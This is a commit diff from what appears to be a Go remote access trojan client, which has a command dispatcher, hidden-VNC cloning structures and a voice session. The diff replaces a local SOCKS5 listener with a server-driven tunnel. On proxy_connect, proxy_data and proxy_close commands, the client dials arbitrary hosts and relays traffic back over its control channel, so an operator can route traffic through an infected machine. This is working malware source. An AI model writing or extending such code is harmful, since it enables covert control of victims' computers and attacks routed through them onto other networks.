add new socks5 update
This commit is contained in:
@@ -123,6 +123,8 @@ func resetForReconnect(env *runtime.Env) {
|
||||
|
||||
stopVoiceSession()
|
||||
|
||||
CleanupAllTunnels()
|
||||
|
||||
env.NotificationMu.Lock()
|
||||
env.NotificationKeywords = nil
|
||||
env.NotificationMinIntervalMs = 0
|
||||
@@ -1755,11 +1757,14 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in
|
||||
res := wire.CommandResult{Type: "command_result", CommandID: cmdID, OK: true}
|
||||
_ = wire.WriteMsg(ctx, env.Conn, res)
|
||||
return ErrReconnect
|
||||
case "proxy_start":
|
||||
case "proxy_connect":
|
||||
payload, _ := envelope["payload"].(map[string]interface{})
|
||||
return HandleProxyStart(ctx, env, cmdID, payload)
|
||||
case "proxy_stop":
|
||||
return HandleProxyStop(ctx, env, cmdID)
|
||||
return HandleProxyConnect(ctx, env, cmdID, payload)
|
||||
case "proxy_data":
|
||||
payload, _ := envelope["payload"].(map[string]interface{})
|
||||
return HandleProxyData(ctx, env, cmdID, payload)
|
||||
case "proxy_close":
|
||||
return HandleProxyClose(ctx, env, cmdID)
|
||||
default:
|
||||
log.Printf("command: unknown action=%s", action)
|
||||
res := wire.CommandResult{Type: "command_result", CommandID: cmdID, OK: false, Message: "unknown command"}
|
||||
|
||||
@@ -2,9 +2,7 @@ package handlers
|
||||
|
||||
import (
|
||||
"context"
|
||||
"encoding/binary"
|
||||
"fmt"
|
||||
"io"
|
||||
"log"
|
||||
"net"
|
||||
"sync"
|
||||
@@ -15,241 +13,179 @@ import (
|
||||
)
|
||||
|
||||
var (
|
||||
proxyListenerMu sync.Mutex
|
||||
proxyListener net.Listener
|
||||
proxyPort int
|
||||
proxyCtx context.Context
|
||||
proxyCancel context.CancelFunc
|
||||
tunnelMu sync.Mutex
|
||||
tunnelConns = make(map[string]*tunnelConn) // connectionId → tunnelConn
|
||||
)
|
||||
|
||||
func HandleProxyStart(ctx context.Context, env *runtime.Env, cmdID string, payload map[string]interface{}) error {
|
||||
proxyListenerMu.Lock()
|
||||
defer proxyListenerMu.Unlock()
|
||||
type tunnelConn struct {
|
||||
conn net.Conn
|
||||
cancel context.CancelFunc
|
||||
}
|
||||
|
||||
if proxyListener != nil {
|
||||
func HandleProxyConnect(ctx context.Context, env *runtime.Env, connID string, payload map[string]interface{}) error {
|
||||
host, _ := payload["host"].(string)
|
||||
portRaw := payload["port"]
|
||||
var port int
|
||||
switch v := portRaw.(type) {
|
||||
case int:
|
||||
port = v
|
||||
case int8:
|
||||
port = int(v)
|
||||
case int16:
|
||||
port = int(v)
|
||||
case int32:
|
||||
port = int(v)
|
||||
case int64:
|
||||
port = int(v)
|
||||
case uint:
|
||||
port = int(v)
|
||||
case uint8:
|
||||
port = int(v)
|
||||
case uint16:
|
||||
port = int(v)
|
||||
case uint32:
|
||||
port = int(v)
|
||||
case uint64:
|
||||
port = int(v)
|
||||
case float32:
|
||||
port = int(v)
|
||||
case float64:
|
||||
port = int(v)
|
||||
}
|
||||
|
||||
if host == "" || port <= 0 || port > 65535 {
|
||||
return wire.WriteMsg(ctx, env.Conn, wire.CommandResult{
|
||||
Type: "command_result",
|
||||
CommandID: cmdID,
|
||||
CommandID: connID,
|
||||
OK: false,
|
||||
Message: "Proxy already running",
|
||||
Message: "Invalid host or port",
|
||||
})
|
||||
}
|
||||
|
||||
requestedPort := 1080
|
||||
if portVal, ok := payload["port"]; ok {
|
||||
if port, ok := portVal.(int); ok && port > 0 {
|
||||
requestedPort = port
|
||||
target := fmt.Sprintf("%s:%d", host, port)
|
||||
|
||||
goSafe("tunnel-dial-"+connID, nil, func() {
|
||||
|
||||
targetConn, err := net.DialTimeout("tcp", target, 10*time.Second)
|
||||
if err != nil {
|
||||
log.Printf("[tunnel] failed to connect to %s: %v", target, err)
|
||||
_ = wire.WriteMsg(ctx, env.Conn, wire.CommandResult{
|
||||
Type: "command_result",
|
||||
CommandID: connID,
|
||||
OK: false,
|
||||
Message: fmt.Sprintf("Connection refused: %v", err),
|
||||
})
|
||||
return
|
||||
}
|
||||
}
|
||||
|
||||
listener, err := net.Listen("tcp", fmt.Sprintf("127.0.0.1:%d", requestedPort))
|
||||
if err != nil {
|
||||
return wire.WriteMsg(ctx, env.Conn, wire.CommandResult{
|
||||
tunnelCtx, tunnelCancel := context.WithCancel(context.Background())
|
||||
tc := &tunnelConn{conn: targetConn, cancel: tunnelCancel}
|
||||
|
||||
tunnelMu.Lock()
|
||||
tunnelConns[connID] = tc
|
||||
tunnelMu.Unlock()
|
||||
|
||||
// tell the server we connected successfully
|
||||
if err := wire.WriteMsg(ctx, env.Conn, wire.CommandResult{
|
||||
Type: "command_result",
|
||||
CommandID: cmdID,
|
||||
OK: false,
|
||||
Message: fmt.Sprintf("Failed to start proxy: %v", err),
|
||||
})
|
||||
}
|
||||
CommandID: connID,
|
||||
OK: true,
|
||||
Message: "Connected",
|
||||
}); err != nil {
|
||||
targetConn.Close()
|
||||
tunnelCancel()
|
||||
tunnelMu.Lock()
|
||||
delete(tunnelConns, connID)
|
||||
tunnelMu.Unlock()
|
||||
return
|
||||
}
|
||||
|
||||
proxyListener = listener
|
||||
proxyPort = listener.Addr().(*net.TCPAddr).Port
|
||||
proxyCtx, proxyCancel = context.WithCancel(context.Background())
|
||||
defer func() {
|
||||
tunnelCancel()
|
||||
targetConn.Close()
|
||||
tunnelMu.Lock()
|
||||
delete(tunnelConns, connID)
|
||||
tunnelMu.Unlock()
|
||||
_ = wire.WriteMsg(ctx, env.Conn, wire.ProxyClose{
|
||||
Type: "proxy_close",
|
||||
ConnectionID: connID,
|
||||
})
|
||||
|
||||
log.Printf("SOCKS5 proxy started on port %d", proxyPort)
|
||||
}()
|
||||
|
||||
if err := wire.WriteMsg(ctx, env.Conn, wire.CommandResult{
|
||||
Type: "command_result",
|
||||
CommandID: cmdID,
|
||||
OK: true,
|
||||
Message: fmt.Sprintf("Proxy started on port %d", proxyPort),
|
||||
}); err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
go acceptProxyConnections(proxyCtx, listener)
|
||||
buf := make([]byte, 32*1024)
|
||||
for {
|
||||
select {
|
||||
case <-tunnelCtx.Done():
|
||||
return
|
||||
default:
|
||||
}
|
||||
n, err := targetConn.Read(buf)
|
||||
if n > 0 {
|
||||
data := make([]byte, n)
|
||||
copy(data, buf[:n])
|
||||
if writeErr := wire.WriteMsg(ctx, env.Conn, wire.ProxyData{
|
||||
Type: "proxy_data",
|
||||
ConnectionID: connID,
|
||||
Data: data,
|
||||
}); writeErr != nil {
|
||||
return
|
||||
}
|
||||
}
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
}
|
||||
})
|
||||
|
||||
return nil
|
||||
}
|
||||
|
||||
func HandleProxyStop(ctx context.Context, env *runtime.Env, cmdID string) error {
|
||||
proxyListenerMu.Lock()
|
||||
defer proxyListenerMu.Unlock()
|
||||
|
||||
if proxyListener == nil {
|
||||
return wire.WriteMsg(ctx, env.Conn, wire.CommandResult{
|
||||
Type: "command_result",
|
||||
CommandID: cmdID,
|
||||
OK: false,
|
||||
Message: "No proxy running",
|
||||
})
|
||||
func HandleProxyData(ctx context.Context, env *runtime.Env, connID string, payload map[string]interface{}) error {
|
||||
tunnelMu.Lock()
|
||||
tc, ok := tunnelConns[connID]
|
||||
tunnelMu.Unlock()
|
||||
if !ok {
|
||||
return nil
|
||||
}
|
||||
|
||||
if proxyCancel != nil {
|
||||
proxyCancel()
|
||||
}
|
||||
|
||||
if err := proxyListener.Close(); err != nil {
|
||||
log.Printf("Error closing proxy listener: %v", err)
|
||||
}
|
||||
|
||||
proxyListener = nil
|
||||
proxyPort = 0
|
||||
|
||||
log.Printf("SOCKS5 proxy stopped")
|
||||
|
||||
return wire.WriteMsg(ctx, env.Conn, wire.CommandResult{
|
||||
Type: "command_result",
|
||||
CommandID: cmdID,
|
||||
OK: true,
|
||||
Message: "Proxy stopped",
|
||||
})
|
||||
}
|
||||
|
||||
func acceptProxyConnections(ctx context.Context, listener net.Listener) {
|
||||
for {
|
||||
select {
|
||||
case <-ctx.Done():
|
||||
return
|
||||
default:
|
||||
}
|
||||
|
||||
conn, err := listener.Accept()
|
||||
if err != nil {
|
||||
select {
|
||||
case <-ctx.Done():
|
||||
return
|
||||
default:
|
||||
log.Printf("Proxy accept error: %v", err)
|
||||
continue
|
||||
}
|
||||
}
|
||||
|
||||
go handleProxyConnection(ctx, conn)
|
||||
}
|
||||
}
|
||||
|
||||
func handleProxyConnection(ctx context.Context, conn net.Conn) {
|
||||
defer conn.Close()
|
||||
|
||||
conn.SetDeadline(time.Now().Add(30 * time.Second))
|
||||
|
||||
buf := make([]byte, 2)
|
||||
if _, err := io.ReadFull(conn, buf); err != nil {
|
||||
log.Printf("Proxy handshake read error: %v", err)
|
||||
return
|
||||
}
|
||||
|
||||
version := buf[0]
|
||||
nmethods := buf[1]
|
||||
|
||||
if version != 5 {
|
||||
log.Printf("Unsupported SOCKS version: %d", version)
|
||||
return
|
||||
}
|
||||
|
||||
methods := make([]byte, nmethods)
|
||||
if _, err := io.ReadFull(conn, methods); err != nil {
|
||||
log.Printf("Proxy methods read error: %v", err)
|
||||
return
|
||||
}
|
||||
|
||||
if _, err := conn.Write([]byte{5, 0}); err != nil {
|
||||
log.Printf("Proxy handshake response error: %v", err)
|
||||
return
|
||||
}
|
||||
|
||||
reqHeader := make([]byte, 4)
|
||||
if _, err := io.ReadFull(conn, reqHeader); err != nil {
|
||||
log.Printf("Proxy request header error: %v", err)
|
||||
return
|
||||
}
|
||||
|
||||
if reqHeader[0] != 5 {
|
||||
log.Printf("Invalid request version: %d", reqHeader[0])
|
||||
return
|
||||
}
|
||||
|
||||
cmd := reqHeader[1]
|
||||
if cmd != 1 {
|
||||
conn.Write([]byte{5, 7, 0, 1, 0, 0, 0, 0, 0, 0}) // command not supported
|
||||
return
|
||||
}
|
||||
|
||||
atyp := reqHeader[3]
|
||||
var host string
|
||||
var port uint16
|
||||
|
||||
switch atyp {
|
||||
case 1: // IPv4
|
||||
addr := make([]byte, 4)
|
||||
if _, err := io.ReadFull(conn, addr); err != nil {
|
||||
return
|
||||
}
|
||||
host = net.IP(addr).String()
|
||||
case 3: // domain name
|
||||
addrLen := make([]byte, 1)
|
||||
if _, err := io.ReadFull(conn, addrLen); err != nil {
|
||||
return
|
||||
}
|
||||
addr := make([]byte, addrLen[0])
|
||||
if _, err := io.ReadFull(conn, addr); err != nil {
|
||||
return
|
||||
}
|
||||
host = string(addr)
|
||||
case 4: // IPv6
|
||||
addr := make([]byte, 16)
|
||||
if _, err := io.ReadFull(conn, addr); err != nil {
|
||||
return
|
||||
}
|
||||
host = net.IP(addr).String()
|
||||
var data []byte
|
||||
switch v := payload["data"].(type) {
|
||||
case []byte:
|
||||
data = v
|
||||
case string:
|
||||
data = []byte(v)
|
||||
default:
|
||||
conn.Write([]byte{5, 8, 0, 1, 0, 0, 0, 0, 0, 0}) // Address type not supported
|
||||
return
|
||||
return nil
|
||||
}
|
||||
|
||||
// read port
|
||||
portBytes := make([]byte, 2)
|
||||
if _, err := io.ReadFull(conn, portBytes); err != nil {
|
||||
return
|
||||
if _, err := tc.conn.Write(data); err != nil {
|
||||
tc.cancel()
|
||||
return nil
|
||||
}
|
||||
port = binary.BigEndian.Uint16(portBytes)
|
||||
return nil
|
||||
}
|
||||
|
||||
log.Printf("SOCKS5 CONNECT to %s:%d", host, port)
|
||||
|
||||
// connect to target
|
||||
targetAddr := fmt.Sprintf("%s:%d", host, port)
|
||||
targetConn, err := net.DialTimeout("tcp", targetAddr, 10*time.Second)
|
||||
if err != nil {
|
||||
log.Printf("Failed to connect to %s: %v", targetAddr, err)
|
||||
conn.Write([]byte{5, 5, 0, 1, 0, 0, 0, 0, 0, 0}) // Connection refused
|
||||
return
|
||||
func HandleProxyClose(ctx context.Context, env *runtime.Env, connID string) error {
|
||||
tunnelMu.Lock()
|
||||
tc, ok := tunnelConns[connID]
|
||||
if ok {
|
||||
delete(tunnelConns, connID)
|
||||
}
|
||||
defer targetConn.Close()
|
||||
tunnelMu.Unlock()
|
||||
if ok {
|
||||
tc.cancel()
|
||||
tc.conn.Close()
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
// send success response
|
||||
// VER | REP | RSV | ATYP | BND.ADDR | BND.PORT
|
||||
conn.Write([]byte{5, 0, 0, 1, 0, 0, 0, 0, 0, 0})
|
||||
|
||||
// clear deadline for data transfer
|
||||
conn.SetDeadline(time.Time{})
|
||||
targetConn.SetDeadline(time.Time{})
|
||||
|
||||
// relay data bidirectionally
|
||||
done := make(chan struct{}, 2)
|
||||
|
||||
goSafe("socks5 relay to target", nil, func() {
|
||||
io.Copy(targetConn, conn)
|
||||
done <- struct{}{}
|
||||
})
|
||||
|
||||
goSafe("socks5 relay to client", nil, func() {
|
||||
io.Copy(conn, targetConn)
|
||||
done <- struct{}{}
|
||||
})
|
||||
|
||||
select {
|
||||
case <-done:
|
||||
case <-ctx.Done():
|
||||
func CleanupAllTunnels() {
|
||||
tunnelMu.Lock()
|
||||
defer tunnelMu.Unlock()
|
||||
for id, tc := range tunnelConns {
|
||||
tc.cancel()
|
||||
tc.conn.Close()
|
||||
delete(tunnelConns, id)
|
||||
}
|
||||
}
|
||||
|
||||
@@ -208,3 +208,14 @@ type HVNCCloneProgress struct {
|
||||
TotalBytes int64 `msgpack:"totalBytes"`
|
||||
Status string `msgpack:"status"`
|
||||
}
|
||||
|
||||
type ProxyData struct {
|
||||
Type string `msgpack:"type"`
|
||||
ConnectionID string `msgpack:"connectionId"`
|
||||
Data []byte `msgpack:"data"`
|
||||
}
|
||||
|
||||
type ProxyClose struct {
|
||||
Type string `msgpack:"type"`
|
||||
ConnectionID string `msgpack:"connectionId"`
|
||||
}
|
||||
|
||||
Reference in New Issue
Block a user